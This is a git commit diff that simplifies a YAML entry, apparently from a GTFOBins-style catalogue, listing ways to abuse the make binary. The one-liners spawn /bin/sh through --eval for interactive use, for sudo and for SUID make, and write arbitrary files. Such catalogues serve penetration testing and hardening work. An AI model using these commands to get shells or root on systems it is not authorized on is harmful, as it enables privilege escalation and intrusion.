Simplify make

This commit is contained in:
Andrea Cardaci 2018-06-04 18:28:58 +02:00
parent 4eff8b534f
commit c31a8a1b6b

View File

@ -2,22 +2,18 @@
functions:
execute-interactive:
- code: |
COMMAND='/bin/sh 1>&2'
make -s --eval="a := \$(info \$(shell $COMMAND))" --eval='all:'
execute-non-interactive:
- code: |
COMMAND=/usr/bin/id
make -s --eval="a := \$(info \$(shell $COMMAND))" --eval='all:'
COMMAND='/bin/sh'
make -s --eval=$'x:\n\t-'"$COMMAND"
sudo-enabled:
- code: |
COMMAND=/usr/bin/id
sudo make -s --eval="a := \$(info \$(shell $COMMAND))" --eval='all:'
COMMAND='/bin/sh'
sudo make -s --eval=$'x:\n\t-'"$COMMAND"
suid-enabled:
- code: |
COMMAND=/usr/bin/id
./make -s --eval="a := \$(info \$(shell $COMMAND))" --eval='all:'
COMMAND='/bin/sh'
./make -s --eval=$'x:\n\t-'"$COMMAND"
file-write:
- code: |
LFILE=file_to_write
make -s --eval="a := \$(file >$LFILE,data)" --eval='all:'
make -s --eval="\$(file >$LFILE,data)" .
---